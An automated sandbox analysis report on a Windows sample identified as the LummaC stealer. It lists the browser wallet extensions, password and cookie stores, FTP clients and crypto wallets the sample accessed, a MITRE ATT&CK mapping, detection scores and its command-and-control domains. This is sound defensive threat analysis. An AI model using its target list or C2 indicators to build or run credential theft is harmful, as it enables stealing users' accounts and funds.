Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior

Source: Yara match

File source: Process Memory Space: un30brGAKP.exe PID: 6868, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: un30brGAKP.exe PID: 6868, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	321 Security Software Discovery	SMB/Windows Admin Shares	3 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	42 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
un30brGAKP.exe	76%	Virustotal		Browse
un30brGAKP.exe	79%	ReversingLabs	Win32.Exploit.LummaC
un30brGAKP.exe	100%	Avira	HEUR/AGEN.1314134
un30brGAKP.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://impossiblekdo.click/bul	0%	Avira URL Cloud	safe
http://www.enigmaprotector.com/openU	0%	Avira URL Cloud	safe
impossiblekdo.click	0%	Avira URL Cloud	safe
https://impossiblekdo.click/O	0%	Avira URL Cloud	safe
https://impossiblekdo.click/g	0%	Avira URL Cloud	safe
https://impossiblekdo.click/bua	0%	Avira URL Cloud	safe
https://impossiblekdo.click/ta=	0%	Avira URL Cloud	safe
https://impossiblekdo.click/api	0%	Avira URL Cloud	safe
https://impossiblekdo.click/	0%	Avira URL Cloud	safe
https://impossiblekdo.click/h	0%	Avira URL Cloud	safe
https://impossiblekdo.click/bu	0%	Avira URL Cloud	safe
https://impossiblekdo.click/VV	0%	Avira URL Cloud	safe
https://impossiblekdo.click/apivLK	0%	Avira URL Cloud	safe
https://impossiblekdo.click/jh	0%	Avira URL Cloud	safe
https://impossiblekdo.click/apiV	0%	Avira URL Cloud	safe
https://impossiblekdo.click/apipc	0%	Avira URL Cloud	safe
https://impossiblekdo.click/fe	0%	Avira URL Cloud	safe
https://impossiblekdo.click/op	0%	Avira URL Cloud	safe
http://www.enigmaprotector.com/	0%	Avira URL Cloud	safe
https://impossiblekdo.click/bm	0%	Avira URL Cloud	safe
https://impossiblekdo.click/ow	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
impossiblekdo.click	188.114.97.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
impossiblekdo.click	true	Avira URL Cloud: safe	unknown
https://impossiblekdo.click/api	true	Avira URL Cloud: safe	unknown
rabidcowse.shop	false		high
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/bul	un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/openU	un30brGAKP.exe, 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/ta=	un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/bua	un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	un30brGAKP.exe, 00000000.00000003.1695501850.0000000004528000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683976161.000000000452F000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1684042935.0000000004528000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/	un30brGAKP.exe, 00000000.00000003.1696676419.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310340504.000000000163D000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123251276.0000000001640000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744098181.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1750286817.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1725590918.00000000044E8000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1725935872.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1696321232.00000000044E3000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1725523302.00000000044E3000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1725757563.00000000044EC000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1696283862.00000000044DF000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1739245687.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1709695695.00000000044E1000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310454788.000000000163D000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1709654838.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960422197.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1695560371.00000000044DE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/g	un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744172653.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744199353.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://impossiblekdo.click/h	un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	un30brGAKP.exe, 00000000.00000003.1684042935.0000000004503000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/O	un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://impossiblekdo.click/bu	un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/VV	un30brGAKP.exe, 00000000.00000003.1711893921.00000000044E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://impossiblekdo.click/apivLK	un30brGAKP.exe, 00000000.00000002.4123069189.000000000160E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/fe	un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
